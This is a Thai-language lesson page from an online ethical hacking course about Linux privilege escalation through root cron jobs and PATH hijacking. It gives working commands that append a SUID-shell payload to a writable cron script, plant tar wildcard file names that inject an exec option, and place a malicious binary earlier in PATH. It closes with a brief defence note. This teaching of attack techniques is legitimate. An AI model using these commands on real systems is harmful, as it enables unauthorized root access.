Ethical Hacking Academy · บทเรียน

งาน Cron และ PATH

การใช้ประโยชน์จากงานที่กำหนดเวลาไว้

บทเรียน 3 จาก 413 ขั้นตอน

งาน Cron และ PATH เป็นบทเรียน Ethical Hacking Academy ฟรีบน CoddyKit นี่คือบทเรียนที่ 3 จากทั้งหมด 4 บทเรียน คุณสามารถอ่านบทเรียนทั้งหมดด้านล่างฟรี — จากนั้นลองปฏิบัติด้วยตัวคุณเองในเบราว์เซอร์พร้อมตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7 บทเรียนนี้เป็นส่วนหนึ่งของเส้นทางการเรียน Ethical Hacking Academy และความก้าวหน้าของคุณจะซิงค์ข้ามเว็บและแอป CoddyKit คอร์ส Ethical Hacking Academy มีบทเรียนทั้งหมด 4 บทเรียน

งาน Cron ในฐานะช่องทางโจมตี

ดีมอน cron เรียกใช้งานตามกำหนดเวลา โดยมักทำงานในฐานะ root หากคุณควบคุมสิ่งที่งาน cron ของ root เรียกใช้ได้ ไม่ว่าจะเป็นสคริปต์ ข้อมูลนำเข้า หรือวิธีค้นหาคำสั่ง คุณก็สามารถเรียกใช้โค้ดในฐานะ root ได้

การสำรวจ Cron

อ่าน crontab ของระบบและไดเรกทอรี cron จดบันทึกว่าแต่ละงานทำงานในฐานะใครและเรียกใช้สคริปต์ใด

cat /etc/crontab
ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly
cat /var/spool/cron/crontabs/* 2>/dev/null

เฝ้าดูงานที่ซ่อนอยู่

งานบางอย่างไม่ได้อยู่ในไฟล์ที่เห็นได้ชัดเจน pspy จะตรวจสอบการสร้างกระบวนการโดยไม่ต้องใช้สิทธิ์ root และเปิดเผยคำสั่ง cron ขณะทำงาน รวมถึงคำสั่งที่คุณไม่สามารถอ่านได้จากการกำหนดค่า

./pspy64
# watch for periodic root processes

สคริปต์ Cron ที่เขียนได้

วิธีโจมตีที่ง่ายที่สุดคือ งาน Cron ที่ทำงานด้วยสิทธิ์ root เรียกใช้สคริปต์ที่คุณสามารถเขียนได้ ให้เพิ่มเพย์โหลดแล้วรอการทำงานรอบถัดไป

ls -la /opt/backup.sh   # -rwxrwxrwx root
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> /opt/backup.sh

การแทรกคำสั่งด้วยไวลด์การ์ด

หากงาน Cron ที่ทำงานด้วยสิทธิ์ root ใช้ไวลด์การ์ด เช่น tar -czf backup.tar.gz * ในไดเรกทอรีที่คุณควบคุมได้ คุณสามารถสร้างไฟล์ที่ชื่อทำหน้าที่เป็นตัวเลือกบรรทัดคำสั่ง (การแทรกอาร์กิวเมนต์) เพื่อบังคับให้ tar เรียกใช้คำสั่งของคุณ

touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "cp /bin/bash /tmp/rb; chmod +s /tmp/rb" > shell.sh

PATH คืออะไร

PATH คือรายการไดเรกทอรีที่เชลล์ใช้ค้นหาคำสั่ง เมื่อสคริปต์เรียกคำสั่งด้วยชื่อเพียงอย่างเดียว (เช่น backup แทน /usr/bin/backup) ไฟล์แรกที่ตรงกันใน PATH จะถูกเลือกใช้

echo $PATH
# /usr/local/bin:/usr/bin:/bin

การยึดครอง PATH

หากสคริปต์ที่ทำงานด้วยสิทธิ์ root เรียกคำสั่งโดยไม่ใช้พาธแบบสัมบูรณ์ และคุณสามารถเพิ่มไดเรกทอรีที่เขียนได้ไว้ด้านหน้าของ PATH ให้ใส่ไบนารีอันตรายที่มีชื่อนั้นไว้ในไดเรกทอรีดังกล่าว root จะเรียกใช้เวอร์ชันของคุณ

echo -e "#!/bin/bash\ncp /bin/bash /tmp/rb; chmod +s /tmp/rb" > /tmp/backup
chmod +x /tmp/backup
export PATH=/tmp:$PATH

พาธสัมพัทธ์ในไบนารี SUID

ข้อบกพร่องแบบเดียวกันนี้พบได้ในไบนารี SUID ที่สร้างขึ้นเองและเรียกใช้ system("service ...") โดยไม่ระบุพาธเต็ม การยึดครอง PATH จะทำให้โค้ดของคุณทำงานด้วยสิทธิ์ root — เป็นการผสานการใช้ประโยชน์จาก PATH เข้ากับแนวคิด SUID

การใช้ประโยชน์จากไดเรกทอรี PATH ที่เขียนได้

แม้จะเปลี่ยน PATH ไม่ได้ หากไดเรกทอรีที่มีอยู่ใน PATH (เช่น /usr/local/bin) เขียนได้ และงานที่ทำงานด้วยสิทธิ์ root เรียกใช้คำสั่งที่อยู่ในไดเรกทอรีนั้น คุณก็เพียงนำไบนารีของคุณไปวางไว้แทนที่

ls -ld /usr/local/bin   # check for write permission

การจับจังหวะการโจมตี

การยกระดับสิทธิ์ผ่าน Cron ต้องอาศัยความอดทน — คุณต้องรอตามกำหนดเวลา จดช่วงเวลาไว้ วางเพย์โหลด แล้วตรวจสอบผลลัพธ์ (เช่น เชลล์ SUID ของคุณ) หลังจากงานทำงาน

watch -n 5 ls -la /tmp/rootbash

การป้องกันและจริยธรรม

ผู้ดูแลระบบควรใช้พาธแบบสัมบูรณ์ในสคริปต์ จำกัดสิทธิ์ของสคริปต์ Cron และไดเรกทอรีของสคริปต์ หลีกเลี่ยงไวลด์การ์ดในพาธที่ผู้โจมตีควบคุมได้ และกำหนด PATH ที่ปลอดภัยภายใน Cron ให้ทดสอบเทคนิคเหล่านี้เฉพาะในระบบที่ได้รับอนุญาตเท่านั้น

ตรวจสอบความเข้าใจอย่างรวดเร็ว

ทดสอบความรู้เกี่ยวกับ Cron และ PATH ของคุณ

สรุปทบทวน

คุณได้เรียนรู้การยกระดับสิทธิ์ผ่าน Cron และ PATH:

  • งาน Cron ของ root ที่เรียกใช้ สคริปต์ที่เขียนได้ หรือใช้ ไวลด์การ์ด สามารถถูกโจมตีได้
  • pspy ช่วยเปิดเผยกระบวนการตามกำหนดเวลาที่ซ่อนอยู่
  • การยึดครอง PATH ใช้ประโยชน์จากคำสั่งที่ถูกเรียกโดยไม่ใช้พาธแบบสัมบูรณ์
  • วางเพย์โหลด รอตามกำหนดเวลา แล้วรับสิทธิ์ root

ถัดไป: การโจมตีเคอร์เนล

เริ่มต้นได้ฟรี

เรียนรู้ Ethical Hacking Academy ด้วย AI tutor — ฟรี

เขียนและเรียกใช้โค้ดจริงในเบราว์เซอร์ของคุณ รับความช่วยเหลือทันทีจาก AI tutor 24/7 และเรียนรู้ต่อจากที่คุณหยุดบนเว็บหรือในแอป

คอร์ส
31
บทเรียน
111

คำถามที่พบบ่อย

บทเรียน “งาน Cron และ PATH” ฟรีหรือไม่

ใช่ — ข้อความเต็มของ “งาน Cron และ PATH” ฟรีให้อ่านที่นี่บนเว็บ เพื่อปฏิบัติแบบโต้ตอบ (ตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7) และปลดล็อคส่วนที่เหลือของคอร์ส Ethical Hacking Academy ให้อัปเกรดเป็น CoddyKit PRO คอร์ส Ethical Hacking Academy มีบทเรียนทั้งหมด 4 บทเรียน

คุณจะเรียนรู้อะไรในบทเรียน “งาน Cron และ PATH”

การใช้ประโยชน์จากงานที่กำหนดเวลาไว้ คุณปฏิบัติ Ethical Hacking Academy ด้วยโค้ดที่ใช้งานได้จริงที่คุณเรียกใช้โดยตรงในเบราว์เซอร์ และติวเตอร์ AI ตลอด 24/7 ตอบคำถามของคุณขณะที่คุณไปผ่านบทเรียน

คุณต้องมีประสบการณ์ก่อนที่จะเริ่มเรียน Ethical Hacking Academy หรือไม่

ไม่จำเป็นต้องมีประสบการณ์มาก่อน Ethical Hacking Academy บน CoddyKit ออกแบบมาสำหรับผู้เริ่มต้นไปจนถึงผู้เรียนขั้นสูง คุณสามารถเริ่มต้นที่นี่หรือเริ่มจากตัวแรกและเรียนด้วยความเร็วของคุณเอง นี่คือบทเรียนที่ 3 จากทั้งหมด 4 บทเรียน

บทเรียน “งาน Cron และ PATH” ใช้เวลานานแค่ไหน

บทเรียน CoddyKit ส่วนใหญ่ใช้เวลาประมาณ 5–10 นาที แต่ละบทเรียนจึงสั้นและเป็นแบบโต้ตอบ คุณสามารถก้าวหน้าอย่างต่อเนื่องและกลับมาเรียนต่อจากตรงที่เพิ่งหยุดบนเว็บและแอปได้เลย

ฉันเขียนและรันโค้ดในบทเรียน Ethical Hacking Academy นี้ได้ไหม

ได้ บทเรียน Ethical Hacking Academy ทุกบทมีตัวแก้ไขโค้ดในตัว คุณจึงเขียนและรันโค้ดจริงได้เลยในเบราว์เซอร์ และได้รับข้อเสนอแนะจาก AI ในทันที — ไม่ต้องติดตั้งในเครื่องของคุณ

บทเรียนทั้งหมดในหลักสูตรนี้

  1. การแจกแจงข้อมูล
  2. การใช้ SUID และ Sudo ในทางที่ผิด
  3. งาน Cron และ PATH
  4. ช่องโหว่เคอร์เนล
← กลับไปที่ Ethical Hacking Academy